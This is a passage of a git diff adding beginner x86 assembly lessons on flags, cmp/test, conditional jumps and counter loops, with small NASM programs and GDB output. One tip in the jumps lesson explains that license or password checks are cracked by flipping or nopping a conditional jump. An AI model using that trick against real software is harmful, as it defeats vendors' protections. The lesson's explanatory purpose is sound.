+## 🔗 Related Topics
+
+- [04_bellek_ve_registerlar.md](./04_bellek_ve_registerlar.md) — where the "FETCH → WORK → DROP" dance was sketched; this lesson fills in its **WORK** step
+- [06_ilk_gercek_program.md](./06_ilk_gercek_program.md) — `mov` and the exit code; where the `−5 → 251` puzzle was asked (and here answered)
+- [08_mov_ve_bellek.md](./08_mov_ve_bellek.md) — the **FETCH** and **DROP** steps of the dance; reaching into memory with `[...]`
+- [01.5_sayi_ve_anlam.md](./01.5_sayi_ve_anlam.md) — "Same number, different meaning": the root of the `253` or `−3`? question
+- [07_gdb_tek_adim.md](./07_gdb_tek_adim.md) — watching live what an instruction does with `si` + `info registers`
+
+---
+
+**Previous topic:** [08.5_little_endian.md](./08.5_little_endian.md)
+**Next topic:** [10_bayraklar_ve_cmp.md](./10_bayraklar_ve_cmp.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/10_bayraklar_ve_cmp.md b/docs/eng/konu_anlatimlari/x86_assembly/10_bayraklar_ve_cmp.md
new file mode 100644
index 0000000..8105206
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/10_bayraklar_ve_cmp.md
@@ -0,0 +1,245 @@
+# 🚩 x86 Assembly — Flags and `cmp`: How the Worker Prepares a Decision
+
+> At the end of 09 we made a small promise: while the worker does `add`/`sub` it keeps notes on the side — *"did the result come out zero? was it negative?"* — and these notes are called **flags**; we said "the foundation of every decision is in 10." Here we are, in 10.
+> But careful: this lesson does not *make* the decision. The decision will be made by the next lesson (11, the jumps). Here we build the **raw material** of the decision — because before the machine can decide on something, it has to *note* it down somewhere. That notebook is the flags.
+
+> **This lesson has code, and we run all of it.** Every program and every GDB output below is real: I compiled and ran them on my own machine, and the `eflags` lines you see are not made up.
+
+---
+
+## 📋 Table of Contents
+
+- [What Is a Flag? The Worker's Margin Note](#what-is-a-flag-the-workers-margin-note)
+- [`cmp`: Compare Without Destroying the Value](#cmp-compare-without-destroying-the-value)
+- [Three Cases: Equal, Greater, Less](#three-cases-equal-greater-less)
+- [A Common Shortcut: `test eax, eax`](#a-common-shortcut-test-eax-eax)
+- [A Flag Alone Does Nothing](#a-flag-alone-does-nothing)
+
+---
+
+## What Is a Flag? The Worker's Margin Note
+
+In 09 you had a calculation done: `add eax, 3`. As the worker did it, even if you didn't ask, it put a few marks into a tiny notebook on the side:
+
+- *"Did this operation's result come out to exactly **zero**?"*
+- *"Is the result **negative** (is the top bit 1)?"*
+- *"Did the number overflow, was there a carry?"*
+
+Each of these marks is a single **bit** — either on (1) or off (0). Their name is **flag**. After every `add`/`sub`/`cmp` the worker updates these flags **automatically**; you don't have to give an extra order, when the job is done it writes into the notebook on its own.
+
+All the flags sit side by side in a single special register: **`eflags`**. In 04.5 we saw that a register is "the same bits, a different window"; `eflags` is a register too, but each bit inside it has a **separate meaning** — one is "zero?", one is "negative?", and so on.
+
+Right now only **two** of them concern us:
+
+| Flag | Abbreviation | What it says | When it becomes 1 |
+|:---:|:---:|---|---|
+| Zero flag | **ZF** (*Zero Flag*) | "Is the result zero?" | When the result comes out exactly **0** |
+| Sign flag | **SF** (*Sign Flag*) | "Is the result negative?" | When the top bit of the result is **1** (that is, negative) |
+
+> 🔑 A **flag** = a single bit in the `eflags` register; the margin note the worker keeps about the result of a calculation. **ZF** = "the result was zero", **SF** = "the result was negative". `add`/`sub`/`cmp` update these on their own.
+
+---
+
+## `cmp`: Compare Without Destroying the Value
+
+The first step of making a decision is to **compare**: "are these two numbers equal? which is bigger?" So how do you compare two numbers? With a familiar trick: **subtract** one from the other and look at the result.
+
+- If the difference is **zero** → they are equal.
+- If the difference is **negative** → the first one is smaller.
+
+But there's a problem. If you do `sub eax, ebx`, eax's **old value is destroyed** — you wrote the result over it. But usually you want to use the number you compared *afterwards* too; you don't want to throw it in the trash just to take a look.
+
+This is exactly what `cmp` (from *compare*) is for: **it does the subtraction, but doesn't write the result anywhere — it only sets the flags.**
+
+```nasm
+cmp eax, ebx ; internally computes eax - ebx, DISCARDS THE RESULT, only sets ZF/SF
+```
+
+So `cmp` is `sub`'s "value-preserving" sibling: it does the same subtraction, but the only trace it leaves is the **flags**. Let's prove it. `esit.asm` — let's compare two equal numbers:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 7
+ mov ebx, 7
+ cmp eax, ebx ; 7 - 7 = 0 → ZF should turn on
+ mov eax, 1
+ mov ebx, 0
+ int 0x80
+```
+
+Assemble, run (with the 07 habit, we'll look in GDB):
+
+```
+nasm -f elf32 esit.asm -o esit.o
+ld -m elf_i386 esit.o -o esit
+```
+
+Let's run `cmp` and look at both the flags and eax/ebx:
+
+```
+gdb ./esit
+(gdb) set disassembly-flavor intel
+(gdb) starti
+(gdb) si # mov eax, 7
+(gdb) si # mov ebx, 7
+(gdb) si # cmp eax, ebx
+(gdb) info registers eflags
+(gdb) info registers eax ebx
+```
+
+Real output:
+
+```
+eflags 0x246 [ PF ZF IF ]
+eax 0x7 7
+ebx 0x7 7
+```
+
+Notice two things at once:
+
+1. **`ZF` is there** — inside the square brackets. Because `7 - 7 = 0`, the worker jotted down the "result is zero" note. The flag turned on.
+2. **eax is still 7, ebx is still 7.** `cmp` compared the numbers but **broke neither of them.** You compared without destroying the value — that's the whole talent of `cmp`.
+
+If you'd written `sub eax, ebx` to compare, ZF would still turn on, **but** eax would become `0` — you'd lose the 7. If you tried the same program with `sub` instead of `cmp`, you'd see eax as `0` in GDB. `cmp` = "subtract but don't touch the value."
+
+> 🔑 `cmp a, b` internally does `a - b` but **writes the result nowhere** — it only sets the flags (ZF/SF). It's `sub`'s value-preserving sibling: the number you compared stays in place. This is the standard way to compare.
+
+> 💡 **You might be wondering:** *"the eflags output also has `PF` and `IF` — what are those?"* GDB shows **all** of the flags that are on in `eflags`; not all of them are ours. `IF` (interrupt flag) is on almost all the time, it's about the operating system, it doesn't concern you. `PF` (parity) is also off-topic for now. In this lesson, follow only **ZF** and **SF**; ignore the rest. (Remember 00's promise: there's no hidden business here — only "not needed for now.")
+
+---
+
+## Three Cases: Equal, Greater, Less
+
+A comparison has three possible outcomes: equal, the first is greater, the first is smaller. We'll distinguish all three with the same `cmp` — the only difference being which flags turn on. Let's run all three programs and look at `eflags` (all of them are identical to the `esit.asm` skeleton above, only the numbers change).
+
+**Equal** — `cmp 7, 7` (the `esit` above):
+
+```
+eflags 0x246 [ PF ZF IF ] → ZF on
+```
+
+**First is greater** — `buyuk.asm`, `cmp 9, 4` (difference `+5`, positive):
+
+```
+eflags 0x206 [ PF IF ] → neither ZF nor SF
+```
+
+**First is smaller** — `kucuk.asm`, `cmp 4, 9` (difference `-5`, negative):
+
+```
+eflags 0x293 [ CF AF SF IF ] → SF on
+```
+
+Let's put it in a table — this is the core of the decision logic:
+
+| Comparison | Internal difference | ZF | SF | What it means |
+|---|:---:|:---:|:---:|---|
+| `cmp 7, 7` | 0 | **1** | 0 | **equal** (difference zero) |
+| `cmp 9, 4` | +5 | 0 | 0 | first is **greater** (difference positive) |
+| `cmp 4, 9` | −5 | 0 | **1** | first is **smaller** (difference negative) |
+
+It reads very simply:
+
+- If **ZF = 1**, the two numbers are **equal** (because the difference is zero).
+- If **ZF = 0, SF = 1**, the first number is **smaller** (the difference dropped below zero. Negative numbers like `0xFFFFFFFD` from 09 always start with the leftmost bit; in two's complement the **top bit = the "is it negative" mark** — and SF simply copies that bit).
+- If **ZF = 0, SF = 0**, the first number is **greater** (the difference is positive, not zero).
+
+This is how the worker "remembers" the "which is bigger" question: it doesn't actually remember — it just leaves two bits, and you (or rather, the next instruction) look at those two bits and read the decision.
+
+> 💡 **You might be wondering:** *"in `cmp 4, 9`, `CF` and `AF` also turned on — do I have to read those too?"* No, not for now. Also, an honest warning: the rule "if SF is on, the first is smaller" works cleanly here, but for **very large** numbers (in the edge cases where overflow gets involved) SF alone can mislead you. Good news: you'll **never** have to work out this subtlety by hand — instructions like `jl` ("jump if less") and `jg` ("jump if greater"), which you'll meet in lesson 11, know the correct flag combination *themselves*. So you won't compute the "which is bigger" decision flag by flag; `cmp` sets it, the jump instruction reads it correctly. For now it's enough that you see the picture.
+
+---
+
+## A Common Shortcut: `test eax, eax`
+
+There's one comparison you need very, very often: *"is this register zero?"* (Did a counter finish, is a result empty, is a flag value 0...) You could do it with `cmp eax, 0` — but in assembly almost everyone writes this instead:
+
+```nasm
+test eax, eax ; "is eax zero?" → if zero, ZF=1
+```
+
+`test`, like `cmp`, is an instruction that "discards the result and only sets flags." When `test eax, eax` is used, its practical result is one sentence: **if eax is zero, ZF turns on, otherwise it stays off.** (By the way: `test eax, eax` actually sets SF too — if eax is negative, SF=1 — but in this "is it zero" shortcut we only look at ZF.) Let's see it with two programs.
+
+`testsifir.asm` (eax = 0):
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 0
+ test eax, eax ; is eax zero? → ZF=1
+ mov eax, 1
+ mov ebx, 0
+ int 0x80
+```
+
+`testdolu.asm` — the only difference is `mov eax, 42`. In both, `eflags` after `test`:
+
+```
+testsifir (eax=0) → eflags [ PF ZF IF ] → ZF ON (eax was zero)
+testdolu (eax=42) → eflags [ IF ] → no ZF (eax was non-empty)
+```
+
+This is the standard form of the "is it zero?" test: `test eax, eax` → look at ZF. You'll see this all over the place in loop counters and "is it empty or full" checks.
+
+> 💡 **You might be wondering:** *"what does `test` do internally, exactly? Why do we write `eax, eax` twice?"* The operation inside `test` is a **bit operation** (`and`) and we haven't seen it yet — so I'll leave the mechanism as a closed box for now: **we'll open it fully in lesson 13 (`and`/`or`/`xor`).** The only thing you need in this lesson is its function: `test eax, eax` asks "is eax zero" and puts the answer in ZF. (Why this instead of `cmp eax, 0`? Because it's shorter/faster — but the reason belongs to 13.)
+
+---
+
+## A Flag Alone Does Nothing
+
+Let's be honest: the programs in this lesson actually **did nothing.** We compared, flags turned on — but then what? The program just flowed straight down again and exited. A flag turning on, on its own, did **not** change the program's behavior.
+
+And that's exactly what's expected. Because a flag is not the decision **itself**, it's the decision's **raw material**. Think of the chain like this:
+
+```
+ cmp / test → SETS the flag (this lesson: 10)
+ ↓
+ jz / jnz / jl / jg → READS the flag and JUMPS somewhere accordingly (next lesson: 11)
+```
+
+Up to now we've always told the worker "advance in order, line by line" — the program is a single path from top to bottom. In the next lesson, for the first time, we'll **break** that straight path: "if ZF is on jump over there, otherwise keep going from here." That moment — the program branching onto **different paths** depending on whether a flag is on or off — is the very thing we call a computer "making a decision." And without the flags you set today, that decision is impossible.
+
+> 🔑 `cmp`/`test` **set**, the jump instructions **read.** A flag is the bridge that carries the "was it equal / was it greater" information from one instruction to the next. On its own it doesn't change the program; the jumps in 11 bring it to life. That's why there's no 11 without 10.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ FLAG = a single bit in the eflags register; the worker's margin note about the result of a calculation.
+ add / sub / cmp / test update these ON THEIR OWN.
+☐ Two flags matter in this lesson:
+ - ZF (Zero Flag) → 1 when the result is EXACTLY ZERO. "equal? / zero?"
+ - SF (Sign Flag) → 1 when the result is NEGATIVE (top bit 1). "negative?" (09's two's complement)
+☐ cmp a, b = internally does a - b, DISCARDS THE RESULT, only sets the flags.
+ - sub's value-preserving sibling: the number you compared is not corrupted (after cmp 7,7 eax is still 7).
+☐ Three cases (cmp a, b):
+ - ZF=1 → a == b (equal)
+ - ZF=0, SF=0 → a > b (first is greater)
+ - ZF=0, SF=1 → a < b (first is smaller) [the subtlety for very large numbers is 11's jl/jg's job]
+☐ test eax, eax = the "is eax zero?" shortcut → if zero, ZF=1. (The mechanism inside: and, in 13.)
+☐ GDB: info registers eflags → shows the on flags as [ ... ZF ... SF ... ].
+ IF/PF/CF/AF may also appear; for now follow ONLY ZF and SF.
+☐ A flag alone doesn't change the program: cmp/test SET → the jump instructions in 11 READ and decide.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [09_aritmetik.md](./09_aritmetik.md) — this is where we promised that `add`/`sub` "keep a note on the side" (the flag) and two's complement (SF's "negative" meaning); here are those notes
+- [04.5_registerin_ici.md](./04.5_registerin_ici.md) — `eflags` is a register too; another face of the "same bits, different meanings" idea
+- [01.5_sayi_ve_anlam.md](./01.5_sayi_ve_anlam.md) — A single bit means nothing on its own; the instruction that uses it (ZF = "was zero") gives it meaning
+- [07_gdb_tek_adim.md](./07_gdb_tek_adim.md) — watching live, with `si` + `info registers`, how an instruction changes the flags
+
+---
+
+**Previous topic:** [09_aritmetik.md](./09_aritmetik.md)
+**Next topic:** [11_ziplamalar.md](./11_ziplamalar.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/11_ziplamalar.md b/docs/eng/konu_anlatimlari/x86_assembly/11_ziplamalar.md
new file mode 100644
index 0000000..29c2ac5
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/11_ziplamalar.md
@@ -0,0 +1,259 @@
+# 🔀 x86 Assembly — Jumps: Making the Worker Decide
+
+> In 10 we set flags, but we admitted honestly: **nothing happened.** `cmp` set a flag, and the program still flowed straight down. We said, "the flag is raw material; the instructions that read it and decide come in 11."
+> Here are those instructions: **jumps.** In this lesson, for the first time, we'll break the program's straight top-to-bottom path — "if that flag is set, go here; otherwise keep going from here." What we call a computer "making a decision" is exactly this.
+
+> **This lesson has code, and we run all of it.** Every program, every exit code, and every GDB output below is real: I assembled and ran them on my own machine.
+
+---
+
+## 📋 Table of Contents
+
+- [Breaking the Straight Path: `jmp`](#breaking-the-straight-path-jmp)
+- [Conditional Jump: `jz` and `jnz`](#conditional-jump-jz-and-jnz)
+- [Jump by Ordering: `jl` and `jg`](#jump-by-ordering-jl-and-jg)
+- [Putting It Together: Even or Odd?](#putting-it-together-even-or-odd)
+
+---
+
+## Breaking the Straight Path: `jmp`
+
+Up to now, the worker always did the same thing: start from the topmost instruction, go **line by line downward**, exit at the very end. One path, one direction. That's the first rule we'll break.
+
+The simplest jump instruction is `jmp` (from *jump*): **"don't continue from here, go to that point."** But how do we point out "that point"? With a **label**. You already know labels: `_start:` was a label — the colon (`:`) at its end makes it "a name for this point in memory." We can place our own labels exactly the same way.
+
+`atla.asm` — with `jmp` we **jump over** an instruction:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov ebx, 1
+ jmp bitir ; break the straight path → skip below
+ mov ebx, 99 ; SKIPPED — this line is never reached
+bitir:
+ mov eax, 1
+ int 0x80
+```
+
+The logic is this: we put 1 in `ebx`, then we say `jmp bitir`. The worker leaps straight to the `bitir:` label — the `mov ebx, 99` sitting in between **never runs.** So the exit code should be 1, not 99. Assemble, run:
+
+```
+nasm -f elf32 atla.asm -o atla.o
+ld -m elf_i386 atla.o -o atla
+./atla
+echo $?
+```
+
+```
+1
+```
+
+**99 is gone, 1 came back.** `mov ebx, 99` is right there, in plain sight — but it didn't run, because `jmp` jumped over it. For the first time an instruction changed *which instruction was up next* in the program.
+
+Let's see this with our own eyes in GDB, as in 07. The worker's "where am I right now" indicator was `eip` (04.5/07); let's watch it step by step:
+
+```
+gdb ./atla
+(gdb) set disassembly-flavor intel
+(gdb) starti
+(gdb) x/i $eip # which instruction now?
+(gdb) si
+(gdb) x/i $eip
+(gdb) si
+(gdb) x/i $eip
+```
+
+Real output:
+
+```
+=> 0x8049000 <_start>: mov ebx,0x1
+=> 0x8049005 <_start+5>: jmp 0x804900c
+=> 0x804900c : mov eax,0x1
+```
+
+Notice the addresses. `jmp` is at `0x8049005`. On the next step, `eip` jumped to `0x804900c` (`bitir`). So what was at `0x8049007` in between? Exactly `mov ebx, 99` (`0x63` = 99). **`eip` never visited there** — straight from 0x8049005 to 0x804900c. That's what "jumping over" is: the worker's step indicator never even saw that address.
+
+> 🔑 `jmp etiket` = "change the next instruction: continue from `etiket`." It forcibly moves the worker's "where am I" indicator (`eip`) to that point; the instructions in between are **skipped**, they never run. Label = a name you give to a point in memory (like `_start:`).
+
+> ⚠️ `jmp` is **unconditional** — it doesn't look at any flag or anything, it *always* jumps. On its own it's not much use (in fact, used carelessly, it makes an infinite loop). Its real power comes together with its **conditional** siblings, which you'll see in a moment: "if you meet the condition, jump; if not, keep going straight."
+
+---
+
+## Conditional Jump: `jz` and `jnz`
+
+`jmp` always jumped. What we really want is to jump **conditionally**: "if the previous result was zero, go there." This is exactly where the flags we set in 10 come into play.
+
+The first conditional-jump pair reads **ZF** (the zero flag) directly:
+
+- `jz etiket` → **jump if zero:** if ZF is set (the result was zero), jump; otherwise keep going straight.
+- `jnz etiket` → **jump if not zero:** if ZF is clear (the result was not zero), jump.
+
+Recall the chain — the bridge from 10: **`cmp`/`test` sets → `jz`/`jnz` reads.** Now let's put the two side by side and write our first real "decision-making" program. `sifirmi.asm` — a **different** exit code depending on whether a number is zero:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 0
+ test eax, eax ; is eax zero? (from 10: if zero, ZF=1)
+ jz sifir ; if ZF set → jump to 'sifir' label
+ mov ebx, 200 ; reached only if NOT zero
+ jmp bitir
+sifir:
+ mov ebx, 100 ; reached only if ZERO
+bitir:
+ mov eax, 1
+ int 0x80
+```
+
+Follow the path: `test eax, eax` sets the flag. Then `jz sifir` — if ZF is set, it jumps to `sifir:` (`ebx = 100`); if it's not set, it doesn't jump, it keeps going straight (`ebx = 200`, then `jmp bitir` skips the `sifir` block below). Two separate paths, both merging at `bitir`.
+
+Let's run it with `mov eax, 0` (zero):
+
+```
+100
+```
+
+Now change a single line — `mov eax, 5` (not zero) — reassemble, run:
+
+```
+200
+```
+
+**Here's your first decision.** The same program behaved **differently** when just one number changed: 100 if zero, 200 if not. The program's flow is no longer a straight line — depending on the input, it **forked**. `test` set the flag, `jz` read it and chose the path.
+
+> 🔑 `jz` (jump if ZF is set) and `jnz` (jump if ZF is clear) are the conditional jumps that read the ZF from 10. The pattern is always the same: **first set the flag with `cmp`/`test`, then immediately conditional-jump.** This pair is the machine-language equivalent of saying "if ...".
+
+> 💡 **You might be wondering:** *"`jz` is a slightly odd name for equality — why does 'jump if zero' mean 'jump if equal'?"* Because `cmp a, b` was doing `a - b` inside (10); and if `a == b`, the difference is **zero**, so ZF gets set. So the question "are they equal" is really the question "is the difference zero." That's why `jz` also has the name **`je`** (*jump if equal*) — the two are **exactly the same instruction**, just two different readings. Likewise `jnz` = **`jne`** (*jump if not equal*). Writing `je`/`jne` after `cmp` and `jz`/`jnz` after `test` is purely a readability preference.
+
+> 💡 **Where it comes in handy:** the classic way to crack a program's password/license check is to find exactly this `cmp`/`test` + `jz` pair in the disassembly — then you either flip the `jz` to a `jnz` or `nop` out the jump; that way the "wrong password" branch behaves as if it were "correct." So the pattern you *write* by hand today is what reverse engineering *takes apart.* Breaking a "decision" = changing the conditional jump it rests on. This is also the first brick of the binary exploitation we'll return to in 20.
+
+---
+
+## Jump by Ordering: `jl` and `jg`
+
+ZF only lets us ask "equal or not." But most of the time we want to ask **which one is bigger**. In 10 the hint for that was in SF, but we left an honest warning: the "which is bigger" rule has a subtlety with very large numbers, and you **won't need to solve it by hand**, because the jump instructions themselves know the right flag combination. Here are those instructions:
+
+- `jl etiket` → **jump if less:** after `cmp a, b`, jump if `a < b`.
+- `jg etiket` → **jump if greater:** jump if `a > b`.
+
+(Alongside them are `jle` = "less than or equal" and `jge` = "greater than or equal"; same family.) You just write `cmp a, b` and say `jl`/`jg`; which flag to check and how is the instruction's own job.
+
+Let's write a program that finds the **larger** of two numbers — `enbuyuk.asm`:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 12 ; first number
+ mov ecx, 30 ; second number
+ cmp eax, ecx ; eax - ecx → set the flags
+ jg eax_buyuk ; if eax > ecx, jump
+ mov ebx, ecx ; if reached here, ecx is the larger
+ jmp bitir
+eax_buyuk:
+ mov ebx, eax ; eax was the larger
+bitir:
+ mov eax, 1
+ int 0x80 ; exit code = the larger number
+```
+
+`cmp eax, ecx` compares the two numbers (without altering their values — 10). `jg` jumps to `eax_buyuk` if eax is bigger (`ebx = eax`); otherwise it doesn't jump, and `ebx = ecx`. Both paths put the larger number in `ebx`. With `12` and `30`:
+
+```
+30
+```
+
+Make the numbers `mov eax, 40` / `mov ecx, 30` and run again:
+
+```
+40
+```
+
+Each time, the program picked **the larger one** — you built the `if (a > b)` logic in the worker's language.
+
+> 🔑 `cmp a, b` + `jl`/`jg` = the decision "is a less than / greater than b?" The "signed-comparison subtlety" mentioned in 10 has a name: **overflow** — and `jl`/`jg` knows the right flag combination for you, so you don't fuss with it by hand. The exact mechanism of this overflow is a deeper topic in signed arithmetic — it falls outside the scope of this beginner series; all you need here is to know its name, and `jl`/`jg` handles the rest for you. Just pick the right one: `jl`/`jg`/`jle`/`jge` for ordering, `je`/`jne` for equality. The pattern is the same again: **set with `cmp`, conditional-jump.**
+
+---
+
+## Putting It Together: Even or Odd?
+
+Now let's combine what you've learned in a single small but real program: given a number, write **even or odd** to the exit code (even → 0, odd → 1).
+
+How do we tell whether a number is even or odd? Recall a fact from 03 (binary numbers): a number's **rightmost (smallest) bit** tells you whether it's odd or even — if the bit is `0` it's even, if `1` it's odd. (Just like in decimal we look at the last digit and say "0,2,4,6,8 are even"; in binary we look at the last *bit*.)
+
+The way to look at that last bit is another use of the `test` from 10: `test eax, 1`. This asks, "is eax's lowest bit 1?" — if the bit is 1 (odd), ZF stays clear; if the bit is 0 (even), ZF stays set.
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 7 ; the number we'll test
+ test eax, 1 ; is the lowest bit 1? (i.e. odd?)
+ jz cift ; ZF set → low bit 0 → EVEN
+ mov ebx, 1 ; if reached here → ODD
+ jmp bitir
+cift:
+ mov ebx, 0 ; EVEN
+bitir:
+ mov eax, 1
+ int 0x80
+```
+
+With `7` (odd):
+
+```
+1
+```
+
+Make it `mov eax, 8` (even) and run again:
+
+```
+0
+```
+
+**And there's the whole thing.** The knowledge of three lessons met in one program: from 03, "the last bit tells even/oddness"; from 10, "`test` sets the flag"; from 11, "`jz` reads the flag and chooses the path." This is a real program skeleton — it looks at the input, decides, and behaves differently according to the result.
+
+> 💡 **You might be wondering:** *"Why does `test eax, 1` look at the 'lowest bit'? What's going on inside?"* `test`'s working mechanism is a **bit operation** (`and`), and we haven't seen it yet — as I promised in 10, a **closed box**; the full explanation is in lesson 13 (`and`/`or`/`xor`). All you need here is its function: `test eax, 1` → writes the answer to the question "is eax odd?" into ZF. When we take the mechanism apart in 13, this will click into place.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ jmp etiket = UNCONDITIONAL jump: always go to 'etiket'; the instructions in between are SKIPPED (never run).
+ Label = a name given to a point in memory (like _start:). eip is forcibly moved there.
+☐ CONDITIONAL jumps read the flag (10). The pattern is ALWAYS the same: first cmp/test (set), then immediately conditional-jump (read).
+ - jz / je → jump if ZF is set ("if zero / equal")
+ - jnz / jne → jump if ZF is clear ("if not zero / not equal")
+ - jl / jg → after cmp a,b, jump if ab (the instruction handles the signed-ordering subtlety)
+ - jle / jge → less-or-equal / greater-or-equal
+☐ This means "IF ... THEN" (if) in machine language: the flow is no longer straight, it FORKS according to the input.
+☐ Verified programs:
+ - atla: jmp skipped mov ebx,99 → exit 1 (not 99). In gdb, eip 0x...05 → 0x...0c, the middle skipped.
+ - sifirmi: eax=0 → 100 ; eax=5 → 200 (first fork with test+jz)
+ - enbuyuk: (12,30) → 30 ; (40,30) → 40 (pick the larger with cmp+jg)
+ - ciftek: 7 → 1(odd) ; 8 → 0(even) (03 last-bit + test eax,1 + jz)
+☐ Up next: jumping BACK to the same place gives birth to a "loop" → lesson 12.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [10_bayraklar_ve_cmp.md](./10_bayraklar_ve_cmp.md) — Where we set the flags (ZF/SF) that the jumps read, and `cmp`/`test`; the far side of the "sets → reads" bridge
+- [03_sayilar_ikilik_onaltilik.md](./03_sayilar_ikilik_onaltilik.md) — The fact that "the rightmost bit tells even/oddness"; the basis of the even-odd program
+- [07_gdb_tek_adim.md](./07_gdb_tek_adim.md) — Tracking `eip` (the worker's "where am I" indicator) with `si`; where we saw `jmp`'s leap
+- [04.5_registerin_ici.md](./04.5_registerin_ici.md) — What `eip` is; a jump is really "changing eip"
+
+---
+
+**Previous topic:** [10_bayraklar_ve_cmp.md](./10_bayraklar_ve_cmp.md)
+**Next topic:** [12_donguler.md](./12_donguler.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/12_donguler.md b/docs/eng/konu_anlatimlari/x86_assembly/12_donguler.md
new file mode 100644
index 0000000..d0abfa2
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/12_donguler.md
@@ -0,0 +1,208 @@
+# 🔁 x86 Assembly — Loops: Doing the Same Job Over and Over
+
+> In 11 we broke the program's straight road: with `jmp` we jumped **forward**, skipped instructions, branched. At the end we cracked open a little door: *"when you jump **back** to the same place, a 'loop' is born."*
+> That is the door we walk through now. Until now we always went forward; in this lesson, for the first time, we will jump **backward** — and make the worker do the same job, over and over, until we say "stop." This is the real source of the computer's "unbelievable speed" (01): tireless repetition.
+
+> **This lesson has code, and we run all of it.** Every program, every exit code, and every GDB output below is real: I compiled and ran them on my own machine.
+
+---
+
+## 📋 Table of Contents
+
+- [Jump Backward: This Is How a Loop Is Born](#jump-backward-this-is-how-a-loop-is-born)
+- [The Infinite-Loop Danger: A Counter Is a Must](#the-infinite-loop-danger-a-counter-is-a-must)
+- [First Loop: Sum from 1 to N](#first-loop-sum-from-1-to-n)
+- [A Loop Is the Brick of Higher Operations: Multiplication](#a-loop-is-the-brick-of-higher-operations-multiplication)
+
+---
+
+## Jump Backward: This Is How a Loop Is Born
+
+In 11 we said `jmp bitir` and jumped to a label **below**. But there is no rule about where the label has to be — `jmp` can jump to **any** point in memory; forward, or **backward**.
+
+What if we put a label **above** the `jmp` and jump there? Then the worker goes back, runs the instructions in between **again**, then goes back once more... That is exactly what a **loop** is: give a point in memory a name, do the job, then `jmp` **back** to that name.
+
+```nasm
+tekrar: ; ← label, ABOVE the jmp
+ ; ... work to be done ...
+ jmp tekrar ; go back → work from the top
+```
+
+This skeleton works — but it has one problem, and that problem is the real lesson of this lesson.
+
+> 🔑 Loop = jumping **back** to a label. A forward `jmp` skips instructions; a backward `jmp` **repeats** them. We aren't learning a new instruction — we're just turning 11's `jmp` around to point backward. All of repetition comes out of this simple idea.
+
+---
+
+## The Infinite-Loop Danger: A Counter Is a Must
+
+The `jmp tekrar` above was **unconditional** (11): every time, no questions asked, it goes back. So the worker returns to `tekrar`, does the job, returns again, does it again... **forever.** The program never ends, it can never reach `int 0x80` (exit). This is called an **infinite loop**, and it is usually a bug you don't want — the machine spins in one spot, fast, for nothing.
+
+So a loop must have two parts:
+1. **The job:** the thing to be done each round.
+2. **The exit condition:** a control that says "enough now, get out of the loop" — otherwise it spins forever.
+
+How do we build the exit condition? With the material we already have: 11's **conditional** jump. The idea is this — keep a **counter** (a register that counts how many rounds are left), decrement it by one each round (`dec`, 09), and stop **when it hits zero**. We can already answer the question "did it hit zero?": if the result of `dec` is zero, **ZF** turns on (10), and `jnz` (11) says "jump if not zero."
+
+The pattern settles like this:
+
+```nasm
+ mov ecx, 5 ; counter = 5 rounds
+tekrar:
+ ; ... work ...
+ dec ecx ; counter-- (and sets ZF: when it hits zero, ZF=1)
+ jnz tekrar ; if counter is NOT 0 go back; if 0 fall through, exit the loop
+```
+
+See it? Three lessons' pieces came together: **decrement** the counter (09 `dec`), check whether the result **is zero** (10 `ZF`), and if it isn't zero, **jump back** (11 `jnz`). When the counter reaches zero, `jnz` no longer jumps — the worker "falls through" past the bottom of the loop and continues. The infinite loop was tamed with a counter.
+
+> 🔑 A solid loop = **job + exit condition.** The most common condition: `dec` a **counter** register each round, and say "if not zero, repeat" with `jnz`. When the counter hits zero, ZF turns on, `jnz` doesn't jump, the loop ends. Forget the counter → infinite loop.
+
+> ⚠️ This pattern assumes the counter starts at **1 or greater**. If you start with `mov ecx, 0`, `dec` drops the counter **below** zero (not 0, but 0xFFFFFFFF — a huge number), `jnz` doesn't stop, and the loop slides into exactly the infinite loop we just feared. If the counter could be 0, check it before entering the loop (e.g. skip the loop entirely with a `jz` up front).
+
+---
+
+## First Loop: Sum from 1 to N
+
+Let's put the pattern to real work: **sum the numbers from 1 to N** (that is, 1 + 2 + ... + N). We'll use the counter both for "how many rounds are left" and for "the number to add this round" — cleverly: as ecx counts down `3, 2, 1`, those are exactly the numbers we want to add. `toplam.asm` (N = 3):
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 0 ; total = 0 (where we accumulate)
+ mov ecx, 3 ; counter = N = 3
+dongu:
+ add eax, ecx ; total += counter (WORK: 09's accumulation)
+ dec ecx ; counter-- (+ set ZF)
+ jnz dongu ; if counter not 0 go back to the top
+ mov ebx, eax ; result into the exit code
+ mov eax, 1
+ int 0x80
+```
+
+> 💡 **Which flag is `jnz` reading?** In this loop there are **two** flag-setting instructions before `jnz`: first `add eax, ecx`, then `dec ecx` — both update ZF (10). The rule is simple: **every new arithmetic instruction overwrites the previous one's flag**, so `jnz` only looks at the flag of the instruction **immediately before it** (that is, `dec`'s). That's why we put `dec` right in front of `jnz`; the ZF that `add` set doesn't matter, the one in effect is `dec`'s.
+
+Turn the rounds over in your head: ecx=3 → eax 0+3=3; ecx=2 → eax 3+2=5; ecx=1 → eax 5+1=6; ecx=0 → `jnz` stops. Result 6 (=1+2+3). Run it:
+
+```
+nasm -f elf32 toplam.asm -o toplam.o
